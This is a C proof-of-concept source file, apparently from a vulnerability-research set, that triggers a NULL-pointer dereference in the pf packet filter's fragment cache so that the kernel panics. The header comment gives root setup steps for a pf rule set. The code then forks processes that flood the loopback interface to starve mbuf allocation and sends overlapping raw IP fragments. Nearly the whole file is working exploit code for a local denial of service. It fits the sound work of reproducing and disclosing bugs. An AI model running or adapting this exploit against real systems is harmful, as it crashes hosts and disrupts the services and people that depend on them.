DF-0391 / df_0391_fragcache.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 | /* * DF-0391 — pf_fragcache NULL-deref trigger. * * sys/net/pf/pf_norm.c:661-666 (pf_fragcache, the precut>0 overlap path): * * *m0 = m_dup(m, M_NOWAIT); * m_adj(*m0, (h->ip_hl << 2) - (*m0)->m_pkthdr.len); <-- deref *m0 * if (*m0 == NULL) * goto no_mem; <-- check too late * * To trigger the NULL write the m_dup(M_NOWAIT) must fail (memory pressure). * * Setup (as root, on the guest): * kldload pf * cat >/etc/pf-0391.conf <<EOF * scrub in on lo0 all fragment crop * pass in on lo0 all * pass out all * EOF * pfctl -d; pfctl -F all; pfctl -f /etc/pf-0391.conf; pfctl -e * * This PoC: * 1) sends a first fragment (offset 0, payload 32 B) that gets cached * in pf's fragment cache; * 2) drives mbuf pressure in the background (heavy raw-socket writes to * lo0) to starve m_dup's M_NOWAIT allocation; * 3) sends a second fragment that overlaps with the first (offset 8 B, * payload 32 B) -> enters the precut>0 overlap path -> m_dup -> NULL * -> m_adj deref -> panic. * * cc -O2 -Wall -o df_0391_fragcache df_0391_fragcache.c * ./df_0391_fragcache */ #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_var.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define ID 0x0391 #define PAYLEN 32 static void build_frag(uint8_t *pkt, int offset8, int more, int payload_fill); static void mbuf_pressure(int *stop_pipefd); static void build_frag(uint8_t *pkt, int offset8, int more, int payload_fill) { struct ip *ip = (struct ip *)pkt; uint8_t *p = pkt + sizeof(struct ip); memset(pkt, 0, sizeof(struct ip) + PAYLEN); ip->ip_v = IPVERSION; ip->ip_hl = sizeof(struct ip) >> 2; ip->ip_tos = 0; ip->ip_len = htons(sizeof(struct ip) + PAYLEN); ip->ip_id = htons(ID); ip->ip_off = htons((offset8 & IP_OFFMASK) | (more ? IP_MF : 0)); ip->ip_ttl = 64; ip->ip_p = IPPROTO_UDP; ip->ip_src.s_addr = htonl(0x7f000001); /* 127.0.0.1 */ ip->ip_dst.s_addr = htonl(0x7f000001); ip->ip_sum = 0; memset(p, payload_fill, PAYLEN); } static void mbuf_pressure(int *stop_pipefd) { /* Child: hammer the kernel with mbuf allocations to drive m_dup(M_NOWAIT) * toward failure. Use UDP sends to a sink address (127.0.0.1:9 discard). */ struct sockaddr_in dst; int s, on = 1; char buf[2048]; memset(&dst, 0, sizeof dst); dst.sin_family = AF_INET; dst.sin_port = htons(9); dst.sin_addr.s_addr = htonl(0x7f000001); if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) _exit(0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &on, sizeof on); /* increase sndbuf so the socket holds many mbufs */ int sb = 256*1024; setsockopt(s, SOL_SOCKET, SO_SNDBUF, &sb, sizeof sb); memset(buf, 'P', sizeof buf); /* Loop until parent signals stop (pipe close) or we exit */ while (1) { if (sendto(s, buf, sizeof buf, MSG_DONTWAIT, (struct sockaddr*)&dst, sizeof dst) < 0) { if (errno == EAGAIN || errno == ENOBUFS || errno == EINTR) continue; /* port 9 unreachable — but sendto still allocates mbufs in ip_output */ } } } int main(void) { uint8_t pkt[64 + PAYLEN]; int s, on = 1, stop_pipe[2]; pid_t child; if (getuid() != 0) { fprintf(stderr, "must run as root (needs raw IP socket)\n"); return 2; } if (pipe(stop_pipe) < 0) { perror("pipe"); return 2; } printf("DF-0391: pf_fragcache m_dup NULL deref trigger\n"); printf("-> mbuf-pressure child pid will start; sending frags to 127.0.0.1\n"); /* Fork mbuf-pressure children */ for (int i = 0; i < 3; i++) { if (fork() == 0) { close(stop_pipe[1]); mbuf_pressure(stop_pipe); _exit(0); } } /* Parent: send fragments via raw socket */ if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket(SOCK_RAW,IPPROTO_RAW)"); return 2; } setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof on); /* warm up: send first fragment many times to populate fragcache */ struct sockaddr_in dst = { .sin_family=AF_INET, .sin_addr.s_addr=htonl(0x7f000001) }; build_frag(pkt, 0, 1 /*MF*/, 0xA1); /* frag 1: off 0, len 32, MF */ for (int i = 0; i < 5; i++) { if (sendto(s, pkt, sizeof(struct ip) + PAYLEN, 0, (struct sockaddr*)&dst, sizeof dst) < 0) perror("sendto frag1"); usleep(20000); } printf("-> first-fragment burst sent, fragcache populated\n"); /* Hammer overlapping second fragment while memory is starved */ build_frag(pkt, 1 /*off=8*/, 0, 0xB2); /* frag 2: off 8, overlaps frag1 */ for (int round = 0; round < 200; round++) { /* re-send frag1 to keep cache warm */ build_frag(pkt, 0, 1, 0xA1 + round); for (int j = 0; j < 4; j++) { sendto(s, pkt, sizeof(struct ip)+PAYLEN, 0, (struct sockaddr*)&dst, sizeof dst); } /* send overlapping frag2 with new ip_id so it's a "new" cache */ build_frag(pkt, 1, 0, 0xB2 + round); /* vary ip_id to spawn many distinct cache entries, increasing pressure */ struct ip *iph = (struct ip *)pkt; iph->ip_id = htons(ID + round); for (int j = 0; j < 4; j++) { sendto(s, pkt, sizeof(struct ip)+PAYLEN, 0, (struct sockaddr*)&dst, sizeof dst); } usleep(5000); } printf("-> overlapping fragment burst complete\n"); printf("If the kernel panicked (boot.log shows 'Fatal trap'), bug is reproduced.\n"); printf("If not, the path was reached but m_dup did not return NULL under load.\n"); close(stop_pipe[1]); /* signal children to die */ close(s); sleep(1); while (waitpid(-1, NULL, WNOHANG) > 0) ; return 0; } |